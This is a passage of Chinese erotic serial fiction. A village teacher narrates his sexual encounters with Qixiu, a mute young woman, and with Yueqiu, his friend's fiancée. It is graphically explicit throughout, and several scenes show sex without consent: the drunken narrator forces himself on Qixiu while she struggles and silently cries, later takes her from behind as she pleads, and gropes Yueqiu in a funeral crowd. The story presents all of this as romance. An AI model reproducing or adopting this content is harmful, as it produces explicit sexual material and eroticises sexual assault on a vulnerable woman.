这一句月秋听到了,回头看了一眼,问:“你们俩说些什么呢?”我们就笑。月秋似乎猜到点什么,脸一下就红了。


快到月秋家时,远远看见她家坪上有一两个小孩在闹,到了门前,才见厅上已有许多人在那儿了,大厅中央的桌边站着围了一圈女人,有的轮换着歇手擂擂茶,有的照顾添开水、端茶。临时借来的其他几张桌子则坐满了村里的男女老少。大厅上传来擂擂茶的“噜噜”声,飘散着一股芝麻清香,大家欢声笑语,一派轻松热闹的场面,这在僻静的花边是很少见到的。


七秀和碧花嫂都在。碧花嫂到哪都是主角,正双臂抡圆了飞快的转动,一边擂着茶,一边跟旁边的人打趣。全身随着动作微微颤动,屁股看上去一抖一抖的,胸前两个奶子在衣下乱跑。她没注意我进来了。七秀则站在一旁,还是那股子安静专注的神情,不时往擂钵里添些水。一回头,却看见我了,不知作什么表情好,索性转头又瞧着擂钵里,给了我一个侧面。


我一边喝着茶,注意力却集中在忙着活的女人堆里。见七秀今天穿着白衣蓝裤,很清纯的样子,似乎心情很好,谁跟她打招呼或说话,都报以微微一笑。七秀听觉没有问题,就是不能说话。不知道的人,很难看出她是个哑巴,她的样子更象个安静害羞不爱说话的姑娘。


刘贵忙上忙下,似乎跟村里人很熟,到处招呼。一会坐到我旁边,说:“干一碗!”喝擂茶有时跟喝酒很像,有劝茶的,有干杯的,有比茶量的,主人家把客人灌得肚子撑不下了,才高兴。


我和刘贵干了一碗,说:“你好像没有未过门女婿的样啊,跟村里人这么熟?”


刘贵笑:“我好几年了,在村里收花边,能不熟吗?”


我说:“怪不得!走家串户的,月秋是被你勾引的吧?”旁边的几人笑了。


刘贵好像有一丝得意,嘴里却说:“看你说的!”


一会儿,刘贵搂着我的肩,凑到我耳边,低声说:“诶,看见那穿白衣服的女孩了吗?”


我顺着他的眼望去,知道他说的是七秀,于是说:“怎么啦?”


刘贵说:“根生看上啦,好像要他父母去提亲呢!”


怪不得刚才老见根生跑到七秀跟前,原来他对七秀有意思!根生家是花边村的,弟弟在村里上学,我不但去过他家,跟他还算比较熟。根生长得壮壮实实的,在村里年轻人中算比较灵活的一个。


七秀会看上他吗?不知怎么的,我心里酸得要命。再向七秀看时,似乎她身上添了股与往常不一样的味道。看她刚才对根生的态度,似乎并不反感。


我正注意她呢,忽见月秋拉了拉她的袖子,走到我这桌来了。捧着碗,对我说:“李老师,我跟你干一碗。”七秀拿着一个大勺,站在旁边,我和她对视了一眼,心里忽然恨起她来,不再看她,对月秋笑了笑:“恭喜你啊,找了个刘贵这么能干的对象。”


月秋瞥了刘贵一眼,脸红了红,说:“哪比得上你呀,大专生,又一表人才。”


刘贵在一边就“嘿嘿”地笑起来,短胡须闪来闪去。我不好意思了,赶紧跟月秋碰了一下碗,仰脖子喝了,坐下。


七秀替两人添满,月秋又跟碧花嫂子的公公喝了一碗。直到她俩离开,我一直跟刘贵说着话,没去看月秋和七秀一眼,心里却有一处在隐隐作痛。


喝茶的人渐渐散了,刘贵硬留我在月秋家吃晚饭,月秋家的人也帮着挽留,我就呆下了。本来没什么心情,待酒一喝,脑袋就模糊了,抛开心里一些念头,尽情地喝起来。跟刘贵和月秋哥哥干了一碗又一碗,不知不觉就醉了。


要回去时,一家子都跑出了门口。刘贵自己也喝多了,步子踉踉跄跄的要送我回学校,我说:“不用!我又―――没醉!”一推,两个人都差点跌倒。


月秋哥哥站在刘贵旁边,忙扶住了刘贵,月秋却抢上一步,扶住了我。我定了定神,站稳了,一个人自发地笑出声,说:“好了,你们―――都回去吧,我没事!”她一家人都不放心,月秋紧紧拽着我胳膊,要送我。


我嘴里说着:“不用!”手一推,软软的一团,却按在了她胸口,心下吃了一惊。黑影子里月秋却没有吭声,月秋背朝着她家,门口灯光又暗,其他人应该也没看见。我心里却慌了,更加坚持,她家人拗不过我,终于放我一人走回去。


我歪歪斜斜地在路上走着,黑黑的夜里,凉风吹来,刚才一直压着的心事涌上来,又痛又酸。在我与碧花嫂歪缠的这段日子里,七秀一直避着我,开始还以为她只是恼恨我跟碧花嫂子不清不楚的关系,现在看来,难道是因为她真的跟根生好上了?


心里头思来想去,时而嫉妒猜疑,时而又自我安慰。迷迷糊糊中,一个念头渐渐清晰起来:现在就去找七秀!


前些日子,虽然有时也突然会有强烈地想见七秀的欲望,但犹犹豫豫中,还是能够忍耐,心里边隐隐想着以后也许还有机会。今天突然知道了根生提亲这回事,再也忍不住了,加上酒后那一股子劲,冲上脑门,只想现在就不顾一切,马上去见她,是好是坏,都不管了!


快到七秀家时,身子却紧张激动得打起颤来。趁着酒意,终于来到七秀屋子的后窗,那儿还亮着灯。我轻轻敲了敲玻璃,过了半天,里头没有反应。于是趴在窗边,压低嗓子叫:“七秀!”停了停,又固执地叫了几声:“七秀!七秀!”四周静悄悄的,里头也没有声音,等了一会,一颗心松下来,心想:她可能不在。但我总算来找过她。


完成了任务似的,我一下忽然不想见她了,转身要走。她家后门却“吱呀”


一声推开了,一个人影走出来,我想躲,却迈不开步子,两腿撇着强支在那里。


那人走近来,靠近窗户边的亮光,梦一样,从黑暗中浮出来,是七秀!穿着一身柔柔的薄衣,幽幽的眼珠子,微光下说不出的动人。


我有满腹的话俱要说,却呆呆盯着她,一句话也说不出来。两个人站在黑夜里静静对视了半天。我重重喷着酒气,喘息得象一只受伤的狼。


七秀可能闻到了我的酒气。冲我打了一个手势,上来要扶我,一张清澈的脸逼近来,我忽然想哭,一下拉住了她的手,想要说话,却堵在喉咙里出不来。


七秀要挣,我下意识地一拉,酒后控不住力,七秀软软的肉感的身子进了怀,黑暗中一股少女的芬芳淹没了我。我激动起来,紧紧地搂她怀里,要把她揉碎了,身子摇晃,却站不住脚,歪了几步,将她停在墙边,头埋在她的肩脖间,拼命地呼吸。


七秀没想到会这样,嘴张着,头扭来扭去,却没有声音。我一抬头,她的唇从我嘴鼻上掠过,一瞬间凉凉的一触,让我狂乱了,我找到了她的唇,重重压上,冰冰的软软的肉唇弹陷而下,带一股甜甜的芬芳味儿,我终于吻了她!


七秀闪躲着,她的唇躲到哪,我的唇就跟到哪,象粘着一样,终于停在一处。良久,两人分开,脸对脸热热的喷着鼻息。模糊光影下,她的脸近得只剩下鼻子、眼睛和嘴,在黑夜里散发诱人的惑力。


我嘴里喃喃着一堆醉话。七秀听着,眼珠子在黑暗中流着光。我仿佛说得累了,松了松环着她腰身的手,稍稍离开紧挤着的身子,立即感觉到她胸脯惊人的弹性和腰部的柔软。底下的东西几乎是直接就举起来,升高了,硬硬的一根,耸在她的两腿间,这一下真要命,一股电流从那儿传遍整个身子。


七秀黑眼珠惊惊的一闪,身子打颤,要推开我,手指软软的叉开,撑在我胸肋边,娇娇的喘着。隔着薄衣,我又感觉到,她手指间那份少女的娇柔,胸臆间升起强大的意志,再次将她的唇封上,心中有个声音在狂喊:“七秀!七秀!”


一低头,脸埋在她娇软弹耸的胸脯间,绵软芬芳中,我真的醉了,停在那里,久久的没有动弹。到后来也记不清是怎么回的屋。


第二天是星期日,还是没课,醒过来,嘴里发苦发干,喉间糊糊粘粘的很难受。起来刷了牙,似乎还记得昨晚跑去见七秀的事,好象闯了祸,却支离破碎记不清。脑袋犯晕,又躺到了床上。


快中午的时候,月秋拉着七秀来了。月秋取笑我昨天喝醉了,我提心吊胆地听着,没听到什么不可收拾的事发生,心里安定许多。偷偷向七秀瞧去,她坐在那,眼睛盯着脚尖,嘴角留着一丝笑意,我有点痴了,呆呆看着她。


月秋发现了,笑着要离开,七秀站起来,被她推坐在椅子上。屋里只剩下我和七秀两人,我唤了一声,她扭头闪了我一眼。我伸出去,勾住了她的一只手,七秀转过头去,看着门边,耳侧慢慢变红,那只手却乖顺地递伸着。


两只手静静的绞在空中。一股幸福的狂喜填满我整个胸臆。我触摸着她的手背,那儿丰嫩娇软,指根处涡下一个个小圈,指节就在那翘起,一根一根,每一寸都细白到极处,小活物一样,不可置信地伸动勾缩着。


一会她挣开了,起身到桌前去倒水,给了我一个背影。我现在看出她跟碧花嫂子的分别了,同样是起伏有致的细腰翘臀,碧花嫂子的松软圆熟,带一份诱人的夸张和随意。七秀则含蓄收敛,衣裤裹收之下,却盈盈弹弹地凸透出来,有一种少女的娇犟之意。


房子里安安静静,弥漫着甜蜜和幸福。接下来的一段日子,是我最快乐的时光。晚饭后,七秀来了,坐在窗下的小桌上练写字,我就在她后面拨弄她的头发,露出一截白嫩细腻的脖颈,有时贴在她后背,把着手,教她写字。忍不住了,就让她坐在我腿上,我贴着她的腮,一只手穿过她腋下,在桌上写写划划。


这时她常常突跳起身,脸涨得通红,而我的跨下,已经呆硬起一根东西,直直耸着。


七秀很戒备,不肯靠近我的床,她虽常到我房间来,我却也奈何不了她。有时吻得她情动了,娇娇的喘着,手却总能及时地推开我,我因对她分外怜惜,也不忍用强。碧花嫂子几次来,见到七秀在这儿,来得就少了。


一天傍晚,窗外下着大雨,我推开门,见七秀倚在她家后门笑,我招了招手,叫她过来。她笑着摇头。我就跑过去,将她拽进雨中,拉回一个湿漉漉的七秀。雨天的天色较暗,房间没点灯。我就将七秀挤在门后吻她。


七秀闭着眼,嘴唇轻抖。领口被我弄松了,从脖子到胸前,雪白的一大片,在窗外灰蒙蒙的青光下,散发种凄迷的肉艳。第一次,我颤抖的手,解开了她的衣扣,推高胸罩,白白地耸着鲜红的两滴,我忘情地含上了一颗。


七秀倚在门上,胸前一挺,又弯腰陷下,我的唇顺着下滑,在她肚脐眼一留连,还要往下,七秀的手护在那,闪躲着,裤腰交接处,一截臀骨突然在两旁宽出,裤儿似乎要从那处掉落,只一瞥,就把我点着了。


事先一点心理准备也没有,我圈着七秀的臀骨抱起,七秀的腰象折了过去,我把她放倒在床上,湿衣裳两边敞开,胸罩堆在她下巴处,看不见她的脸,她的身子白白长长的一条,胸前无遮无挡,尖着两只乳头。


我迅速脱了衣裤,丢在一旁,待七秀醒过来,要爬起时,我扑在她身上,双手一阵扒扯,已剩下光溜溜的两人。


七秀这时才忽然觉察到危险,拼命挣扎起来,我将被子一掀,昏天暗地,盖住了两人。七秀就在被子里扭动着,给我的却是一阵阵更加销魂的肌肤碰触,我完全狂乱了,手在她身上到处狂走,摸到的全是滑腻的肌肤,碰到底裤,手就滑进去,屁股间光溜溜的,再往前,手指陷下,一堆软肉,细细的毛夹杂其间。


七秀的身子在发抖,全身火热滚烫,又光滑腻人。我只觉脸颊火烧似的,辣辣的疼,一股欲望让喉咙发干,扯下她的内裤,就将硬帮帮的东西往她两腿间扎去,她的下身一缩,我扶住了,身子沉下去,感觉下身破开一堆软肉,一点一点,不住往下没入,艰涩的肉感裹着,并没有那种滑畅的快感传来。


我却听到了奇怪的声音,是七秀堵在喉间发不清的喊叫。我推高头部的被子,看见七秀眼角含着泪,摆着头,无声的喊叫着。我心中一痛,将她的头搂向怀中,怜惜地将脸贴在她腮边。这才想起,清白的身子对村里的姑娘意味着什么,我能娶七秀为妻么?我自己也弄不清,只知道对怀中这个女子说不出的怜爱。我愿意为她去死,却不知道有没有勇气面对将来所有的一切。


而我的下身,还留在她体内,缓缓的拔出,腿间漫上来一股滚烫的液体,顺着两腿根爬下,痒痒的。我知道我已得到了七秀的初次,心中乱成一团,只将她久久的、紧紧的搂在怀里,给她,也是给我自己无言的安慰――――――(四)


晚饭后的花边村,一片祥和宁静。远远看去,树木杂处,几家屋前,散落地站着些人。有几处屋顶还冒着余烟,是饭做得迟的人家。


我信步闲走,到了一个土坡,看见七秀家屋前的土坪上几个小孩跑来跑去,有的冲,有的拦,在玩“冲关”的游戏呢。七秀爹娘端着饭碗,坐在走廊的矮凳上,不时扒上一口,看着他们玩。


与七秀有过那事之后,我虽然心中很矛盾,但总有种把她爹娘当岳父母的感觉,碰见了常常产生一些联想,虽然他们一点也不知情。她母亲对我特别亲切,我呢,就带点腼腆享受她母亲对我的种种照顾。有时,还真有点儿作女婿的错觉呢。


我懒懒的望着,脑袋里乱七八糟地转着些念头。忽然,一个念头打进了脑海里,心止不住猛跳了几下。


我悄悄从后边绕到了七秀家的后门,钻过她家的晾衣杆,进了厨房,里头没人。穿到里屋,见七秀果然站在那,衣柜打开着,她正要从里头取些什么东西。


她的睡房门开着,里边放着一盆水,热气腾腾,想是准备洗澡。


我早已经是硬帮帮的了,悄无声息的到了她背后,一把将她细腰搂住,盈盈欲折的肉感从手上传了过来。


七秀吓了一跳,眼回过来,惊惊的一闪。


我的两手贴在她的腹部,那儿看起来虽然盈巧,却脂肪丰腻,有着动人的肉感。她穿着粗造的蓝花色布衣,身上透出股劳累后的浓烈热辣的女性体香,闻起来,让人十分冲动。我脸儿埋在她肩脖处,喷着粗气,就在那儿亲着。


七秀鼻间“嗯”了一声,两颊看着就红腾腾焼起来,从小腮帮传到颈后。脸儿慌乱向门窗张望,外头小孩的嘻笑声十分清晰,如在耳旁。


七秀的眼睛迷糊中带点慌乱,两手向后伸,推撑在我臂弯,却娇柔得没有一丝力气,喘息让胸脯高起来,高起来。


我的双臂一紧,七秀整个身子压贴进怀,丰盈弹实,十分要命,两个人都止不住呻唤了一声,七秀软软的贴靠在我身上,头往后仰,眼睛闭着,嘴儿半张。


我一声不响,手就在她腰旁解蓝花布裤带。七秀手捂在腰边,满脸哀肯乞求的神色。


我却欲望彻底焼着了,口里喘着粗气,坚定不移的把她推倒在床边,两手剥去了她的裤子,一下看得惊呆了:那儿仿佛剥了壳熟鸡蛋,晕白的一团,稍稍不同的是,白中透着些羞红,嫩得让人忍不住要咬上一口。


我的手小心地摸上去,七秀的屁股动了一下,我蹲低了,吐着气,定定的看着,眼前白晕晕的一片奇异地景色,她的背上是蓝花布衣,由于弯着腰,衣服拖上,脊背腰处是个滑润凹处,到了臀部突然高起,圆滚滚四周庞大起来,以一种雌性的柔美弧线包回,下边接着丰嫩的大腿。凸翘高起之处,中间塌陷,红唇鲜艳,向后两处,几根羞涩的毛卷曲着,屁眼周圈油润润泛着光,伸个手指一点,七秀抖了一抖,屁股往旁边一闪。


我整个手掌张开,顺着屁股往她腰后摸去,直到她背上,收回来,在丰股上留恋一圈,沿着大腿直下,又到了她两腿中间。手到哪,七秀的身子矮到哪,软了下去。


抚摸丝绸般的感觉,让手发痒,让手发狂,裸露的部分摸遍,七秀已歪在一旁,身子收缩如一只颤动的虫子。


我咽了口唾沫,将她扶好,禁不住诱惑,长舌头伸出,足足实实撩舔了一下她的红唇,那儿咸咸湿湿的也一股体味,十分刺激人。


七秀的喉间哑喊一声,脸向后看来,细白的牙死咬着下唇,脸儿涨得通红,惊羞得要哭的模样。


我喷着热气,狗儿吞食般,舌头伸得不够用,脸埋在了她股间,啊,七秀让我发疯!她的闪躲,她的扭动,都不能摆脱我的舌尖!


已经顾不上许多了,我从裤子掏出暴怒的东西,对准她后边鲜红处,使劲一顶耸,油润润的竟进去了,按住了她后腰,就没命的狂抽狂耸起来,七秀俯扒在床上的,身子随着冲撞抖动,床上叠着的被子被她的手抓乱,高高乱耸,整张床被推得往前移动,她的腰后却被我稳稳拿着,狠狠的弄。


这是异常疯狂的片刻,我的小腹撞击她屁股的声音,床铺挪动的声音,我的脚擦着的声音,我粗粗喘息的声音,一下子屋里响声大作,听起来古怪而刺激。


七秀屁股后边一个小圈洞,红红的褶皱一张一缩,我忍不住拿大拇指按压在上边,指尖微微掐陷在肉洞边缘,那儿有处突骨耸着,跟手较劲。


不料七秀对这地方特别敏感,受不了了,上身竟挺直了片刻,硬着高起,停在空中,又跌回床上。那一霎,她的阴道突然收紧,紧拽得我的肉棍抽不动,拔不出。直到她扒回床上,里面一股水儿纷涌出来,我的肉棍才忽然被解放,松松美美的弄起来。


抽插了也不知道有多少下,我的东西暴硬,一点泄意也没有,七秀已软扒扒的,不知是喉间还是肚子,有闷闷的“咕咕呜呜”叫声。


我从后边,看着整根东西在她那儿拖出没入,爽得整个身子的神经绷得紧紧的,逼得气都喘出不来。


这时,忽听到厨房里脚步匆乱,向这边走来,我“波”的一声,把东西抽出来,卷到裤内,七秀也慌忙爬起,要将裤子拉高。来不及了!声音已到门边,我拽着七秀躲到她的屋里,将门掩上。


外间进来的应该是七秀的弟弟,脚步快而轻捷,到了窗前的桌边,摇水的声音,大口大口喝茶的声音,接着是茶杯重重顿在桌子上的声音,又跑出房间的声音。


才刚松了口气,厨房里断断续续,收拾碗筷的声音又传了过来,我和七秀对着眼,呆听着:看来我是出不去了。


七秀裤子扯到腰旁,忘了系,头发散乱,喘息未定,脸上红晕也未退。我本想接着重来,一转头,瞥见旁边的澡盆冒着水气,心中一动,在她耳旁说:“去把衣服、毛巾拿进来。”


七秀听了,不假思索,才要开门,忽然脸儿飞红,扭捏着不动。我央求说:


“好七秀,快去!”在她背上轻推。


七秀期期艾艾终于去了,轻手轻脚出去取毛巾衣物,我在房间听到她娘问:


“七秀,你还没开始洗呀?”七秀自然不能回答,一会门被轻轻推开,七秀迟疑着走进来,停在门后。


我将门栓上了,向七秀挨去,七秀红着脸冲我直摇头,身子往后缩。


我的手一到她领口处,就被她低着脑袋用下巴抵住。我就开始吻她,在她耳后、脖颈、额头乱吻一阵,最后掰抬起她的脑袋,印在她唇上。


热吻中,一件一件将她衣裤脱光,七秀沉沉的在我怀中,我将她置入盆中。


乡下的澡盆虽然大,也仅能让小孩在其中洗澡,大人一般是站在里头,撩水擦洗的。我却让七秀坐满了澡盆,然后象照顾小儿般,小心地帮她擦着身子。七秀羞缩着,脸死死藏在我胸口,任我施为。我带着惊叹、珍惜、品赏的目光,在她身上打香皂、撩水、擦洗,却没有撩拨她情欲的动作。


这是一生中极其难忘的销魂时刻,我心中柔情涌动,七秀就是我的孩子,让我珍惜、感动。


完了,七秀下了澡盆,我脱光了衣裤,站在里面。换了七秀帮我洗。七秀默默洗着洗着,忽然停下来,贴在我身上,无声的眼泪流出来,我默默搂贴着她,时光悠悠的流逝,窗外暗了下来。


这一夜,我躲在七秀的房中,窗外月光射进来,两个人纠缠不舍。外屋睡着七秀弟弟,壁板的隔音不好,连他睡觉的呼吸声都能隐约听到。我和七秀小心翼翼,不敢碰出一点声响,先是搂贴着,东西硬了,扶着塞进,却不能尽根,缓缓的蠕动。七秀包着那儿的唇皮,不断有水儿流出,湿了床单。有一下,我忍不住了,狠狠的耸了一下,顶到了头,床铺猛晃一下,“吱呀”一响,隔壁的呼吸声似乎停顿了一下。七秀死死咬住我的肩头,我停在那不敢动。


直到隔壁七秀的弟弟重新开始呼吸,我示意七秀坐上去,七秀小心地坐进去了,却死也不肯动,身子俯扒在我胸上。我的东西就硬硬的留在她体内,手轻轻抚摸她光滑的脊背,不知不觉睡了过去。


也不知过了多久,忽发觉七秀坐在上边轻动,一睁眼,七秀又羞扒上来,不肯动了,我嘴角微笑,闭上眼睛,让七秀重来。七秀的动作不大,只用臀部微微挪动,挤着下边,那无法形容的快感却纷杳而来,前所未有,我静静躺着,夹杂着感激和柔情,享受七秀给我带来的温柔滋味。直到天快亮了,我才搂着她睡了一会。


早上,七秀伪托身子不舒服,没起来吃早饭。直到她爹娘去了地里,弟弟也去了上学,我才悄悄跑回学校,匆匆去上课了。心中挂着七秀,课间时偷偷溜到她家,七秀坐在窗前,脚一踢一踢的冲我笑,上去凑了一唇,心中塌实了些,回去上课。


下午放了学,刘贵在我房门口等着,鬼头鬼脑的,这家伙,什么时候又到了花边村?


走近了,才看见月秋远远的站在墙角,居然也不嫌臭,不由一阵好笑。刘贵这家伙,定是来借房间的,而月秋,娇娇弱弱的站在那,等着挨扎呢,我想。


刘贵干咳了几声,我替他难受,说:“刘贵同志,有什么事就说嘛!”


刘贵打了我一拳,我雪雪呼痛:“不好吧?求人帮忙,还要打人?”


月秋掩着嘴儿笑,我瞥见了,喊:“月秋姐姐,快来救我!”


月秋红着脸,辣辣的笑道:“该打!”


我冤枉地:“天啊,两夫妻都不讲理?”


刘贵扯着我的脖子,粗声说:“说!借还是不借?!”


我连连点头:“借!借!能不借吗?月秋姐都等着急了吧。”


月秋跟过来,说:“撕他的嘴!”


我闪身跑了,钥匙丢过去:“可要帮我洗床单啊!”


一个人转到了村口,忽然发觉,在花边村,我竟连个说话的朋友、坐一坐的地方都没有。垂头丧气的回来,想拿本书,到教室里坐着看。


回到房间,门已关上了。心想:“不会吧,这么快就开始了?”到了窗户边上,那儿遮得严严实实。连原来有个破洞都用书挡着。


心想算了,到了隔壁教室坐着。却见黑板那头有扇门,门的背后正是我屋里放床铺的地方。心中一动,走近了,果然听到里头说话的声音。


月秋娇娇的:“好硬喔!”


我心一跳。刘贵说:“这小子!也不多垫几层褥子,咯得人身上痛,还吱喳响得厉害。”


我一乐:“原来说的是床板。”


“要不……把他的被子垫上?”刘贵的声音。


“不要呀,等下弄脏了……”月秋的声音细了下去,最后没声了。


老半天,才听到刘贵“嗯!”了一下,床铺摇响,月秋饮泣般的声音:“不要……老弄那儿,你的指甲太长,很痛!”


刘贵“哼”了一声,接着里头“吧嗒、吧嗒”的声音传出来,一会又象“啧啧”的亲吻声,月秋抽泣了一声。


刘贵说:“你的水……”


月秋:“都是你弄的!人家……痒死了!”


刘贵嘿嘿笑了几声,床铺晃动了几下,接着月秋惊叫:“哎呀,你怎么碰那里!往上一点。”


刘贵笑:“我是故意的,你的屁股好干净!”


月秋:“你……噢!”听得“噗”的一声,床铺惊天动地的摇起来。


我心想:“刘贵这小子够狠的。”


忽然听到月秋的声音响成一片,嘤嘤呜呜的,如歌如泣,伴随着床铺的吱呀声,竟把人的魂儿都要叫出来,我胯下东西一下直了,十分羡慕此时的刘贵,恨不得以身代之。


刘贵停下来喘着粗气,一会重重插了几下,每插一下,月秋喉间就“呃”的一声,听得人骨头都长出力量来。


过了一会,月秋半天没有声响,本以为已经风平浪静了。却忽然又听她喉咙“嗯”“哼”的闷响了一两下,渐渐又变成抽泣一声,停了停,又抽泣一声,我彻底不行了,紧夹双腿,心想:“世上竟有这样的叫床声。”


刘贵忽然又“嗯喳”“嗯喳”的大动起来,月秋娇喘连连,声音断断续续:


“嗯……呵……不行了……我……要死……了……啊!”


最后一声又大又长,毫无顾忌的,扑耳而来。我脸上热辣辣的,喉咙干得不行,满脑子都塞满了月秋的叫床声。想不到,月秋平时也很文静,到了床上竟变得如此诱人。


沉默的花边(5)


(五)


我最初对月秋的印象是:比较娇弱,文静害羞。后来,我才知道,她在花边村的女孩子中算比较活跃的,跟刘贵订婚之前,还谈过两次恋爱。


跟七秀不一样,她家境况稍好一些,父亲哥哥都身强力壮,比较能干,母亲也是个麻利人,家里上上下下收拾得很利落。她在家中最小,一家人都宠着她,很少让她干活。所以她平时总是穿得干干净净,娇怯怯的模样,站来站去,看上去不大象农村姑娘。


认识了之后,她常到学校玩,有时拉上七秀一块来,有时一个人跑到我屋里,借书看。


因为刘贵的关系,我一直跟她保持一定的距离。她倒象更大方主动,动辄向我动手动脚的,常闹得我红着脸避开她。


有一次,我午睡的时候,门开着通风,她来了,只听见轻微的响动。我带着迷迷糊糊的困意,微微张开了眼,看见她在桌上取了本书,对着我坐在床前。


开始还没觉着什么,过一会儿,我才发觉自己睡了一觉后,精气十足,下边涨硬着,将短裤撑得高高的,冲天而起,十分不雅。我装着很困的样子,翻了个身,面朝里躺着,却发觉这样将一个屁股对着人家女孩,更加难看。于是又重新回过身,仰面朝上,底下依然硬着,长长的一根,歪戳着。心中在想:“不会吧,她又不是没看见,怎么不躲出去。”偷着眯眼看她,却见她脸色微红,捧着本书,眼睛不时眨一下,静静对着我坐着,却始终没动。


呆了一会,我真的不自在了,晕头晕脸,爬起身,下床。不料月秋也慌忙站起来,脸对脸,我的下唇竟在她的上唇和鼻尖碰了一下,唇上一凉,滑腻光溜的感觉。我赶紧吱了声:“啊,你来啦?”


月秋脸歪在一旁,耳根是红的:“哦,中午闷闷的,来你这借本书看。”


我“嗯”了声,走到了屋外,心中怦怦狂跳,看见七秀的衣服飘在她家的晾衣杆上,心才渐渐平静下来。


其实我知道月秋对我有好感,由于心在七秀身上,以前一直也没有太在意。


但这次听了月秋的叫床声后,却怎么也止不住了,一股邪劲在心底直爬,脑袋里乱七八糟,站在学校的土坪上,浑身难受,竟酸溜溜的对刘贵十分嫉妒,后悔把房间借给了他们。刘贵和月秋在房里挨了好一会才出来,也不知道他们在里头做些什么。


刘贵看见我,怪怪的一笑,分了根烟给我:“明天金水家你去吗?”吐了口烟圈,一股浑身劲儿都放松的样子。


金水的爷爷今天上午去逝了,这在村里是大事,村长下午特意来学校告诉了我,并让学校放了两天假。我也不知道该不该去,去了后又干些什么。于是强笑了一下:“不知道,明天再说吧。”一眼看见月秋头发纷乱,脸色晕红,也没看我,低了头径自走到黑影子里去了,脸硬硬的又笑了声:“赶紧去吧。”刘贵才快步跟上了月秋。


晚上仔细翻看他们行过事的床铺,却没发现什么痕迹,也不知他们怎么处理的。躺下来,月秋在床上翻滚呻吟的样子却浮上来,搅得我一夜睡不着。


我是在学校放假的第二天傍晚去的金水家,村里的大人小孩大部分都在那,也来了些死者的亲戚朋友,很热闹。


金水家大门上贴着白纸黑字的对联,大厅上停着装了死者的棺木,棺后是祭奠死者的香案。两旁放置着许多送来的挽联及花圈,前面堆了一地蒲团。大厅右边靠里的角落有三、五个披着袈裟的人做法事,许多老人小孩围了一圈看,香雾缭绕,法器敲响,念经声唱一阵歇一阵,由于人多,一点也没有阴森恐怖的凄凉气氛,相反,因为人来人往,小孩跑动,显得十分温馨热闹。


办这样一场丧事,是需要许多人手的。花边村不大,几乎所有的人家都抽调了人来帮忙。碧花嫂负责接待客人,又协助厨房膳食,忙得团团转。七秀和一些妇女和女孩折叠纸花和制作纸钱,通宵都得赶活。刘贵跑上跑下,东家借碗筷,西家搬桌椅,也是忙得不亦乐乎。除了老人和小孩,只有我和月秋是个闲人,什么忙也帮不上,这儿瞧瞧,那里看看。


吃了晚饭,大厅上人更多了,都围着看那几个人做法事。我被挤在大门后的一个角落里,周围一些小孩,有的是学校的学生,有的不是,热得有些难受。


前边领头做法事的居然是个十六、七的年轻人,刚长了点胡须,披着金色袈裟,一板一眼,挺像那么回事。而其它几个穿褐色袈裟的老头都听他指挥,看上去挺好玩的。听人说,这个年轻人的爷爷原来是这个法事团的头,现在年老了,走不动,就把这个“手艺”传给了孙子,继续当这法事团的头。


正看着呢,不知何时月秋挤到了我身前,短头发,嫩脖子,柔弱的肩膀上穿的是黄色花衣裳。我轻拍了一下她的小肩膀,衣裳很薄,手上是肌肤的温热,月秋转过头冲我笑了一下,又掉头看法事。


这时候大厅里又挤进一些人来,是那些手头事情已做完的,却没看到七秀、刘贵、碧花嫂他们。由于人多,月秋被挤得退后,整个身子几乎都在我怀里,感觉她特别的软柔,轻若无物,有股淡淡的清香来自她发间。


她比我稍矮些,到我额际。我侧着头,嘴就在耳边,喷出的鼻息全在她耳后发间。一会就感觉怀里的她身子越来越热,原来似有似无的身子一下变的实在肉感起来,最要命的是她的屁股贴在我下边的东西上,若即若离,一会往前移开,一会被人挤得往后压上来,弄得我极其难受,加上这两天对她有些性的幻想,一时间只觉得眼前这个月秋就是天下最娇弱动人的女孩了,口干舌燥的,底下悄悄的硬起,顶在她的屁股上,大概是肛门上方的位置。


月秋可能感觉到了,眼睛直直的盯着前方,屁股不安地动了动,却使我的东西更添了一阵阵快感。我抑制不住身子发起抖来,仗着月秋平日对我的好感,忍不住将手扶在她的两胯旁,感觉到了她屁股的轮廓。


我的手刚触到她胯部的时候,她的身子抖了一下,随即稳住了,没什么反应,还是看着前方。


我胆子于是更大了,一只手悄悄伸下去,扶着我的肉棍到她两腿的空隙中,感觉是挨着她的阴部,接着手又回到她两胯,向后掰按,肉棍实实在在地顶在她两腿中间的柔软部位,快感从那传递蔓延到整个身子。大厅上虽满满的挤着人,我却感觉世间只有我们两人,肆无忌惮地,一顶一耸,做着无法无天的事。


月秋两腿夹紧,身子更往后靠过来,我的手从她腰间上衣的下摆伸进去,摸到的全是柔软的肌肤,她的腰很细软,两边一卡,就没剩多少,有种要折断的感觉。


月秋“哼”了一声,由于心虚,我一下不敢再动,停在那里,悄悄从侧面看过去,见她的眼睛死死盯着前方,牙在嘴里咬着下唇,并没有其它表示,心才松了下来。手在腰旁碰了一下她的手,没想她竟将手伸向后边,在我的肉棍上捏了一把,我的魂儿都差点被她捏出,手就捉住她的手,在上边紧握了一下。两只手就纠缠在一块了,竟比性交还销魂动人。


我想起她那天的叫床声,心痒痒的,牵着她的手往外拽了一下,自己先挤出人群,在黑影里等着,见她也出来了,就慢慢顺着斜坡往下,往金水家左前方的村部走去。外边凉风吹来,想着即将发生的事,身子止不住一路颤抖。


到了村部,整个狭长形的屋子黑冬冬空无一人,这里平时人就少,金水家办丧事,连平日偶尔过来看看的村干部也不在,门却象往日一样开着。我进了大厅,站在黑暗中,月秋瘦弱的身子出现在门外,却犹豫着没进来。


我压低嗓子叫了声:“进来吧。”


她的身子好象也在发抖,微微缩着进来了,我一把拽住,搂进怀里,在她脸上狂吻,月秋轻喊了声:“别!”却没怎么挣扎。


我一找到她的唇,她就疯狂回吻,两个的舌头在双方嘴里纠缠不舍,我离开了一下,喘着粗气,拽着她往旁边的屋里走去,她一边走着,一边轻声说:“不好。”


我底下彻底硬了,一声不答,拉着她一间屋、一间屋试推着门,终于右边一间放杂物的开着,一进去,就在她腰间解裤带,粗重的鼻息整间屋子都听得见。


月秋的手搭在我活动着的手上,说:“不要呀。”却没阻挠,短发垂下来,黑暗中只模糊地看见她的嘴和下巴。


一解开,我就把她身子转过来,背对我推在一张全是灰尘的旧方桌上,月秋手撑在桌子的边缘,带着哭腔:“真脏!”我脱了衣服裤扔在桌上,就把她裤子全扒下,手在她两腿间一摸,湿乎乎的。月秋“嗯”了一声,扯过我扔在桌上的衣服垫在腹部。我将硬梆梆的肉棍在她屁股上碰碰触触,有一下点在她肛门上,月秋屁股矮了一下,说:“不要。”


